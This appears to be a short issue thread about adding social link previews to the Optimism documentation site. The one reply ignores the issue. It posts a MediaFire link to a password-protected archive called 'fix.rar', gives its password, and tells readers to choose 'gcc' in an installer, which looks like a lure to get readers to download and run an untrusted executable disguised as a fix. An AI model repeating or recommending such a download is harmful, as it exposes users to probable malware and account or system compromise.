Add social reviews to docs links

[krofax]

FYI our docs have no social previews, https://socialsharepreview.com/?url=https://docs.optimism.io

Slack Message

[dseynhae]

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."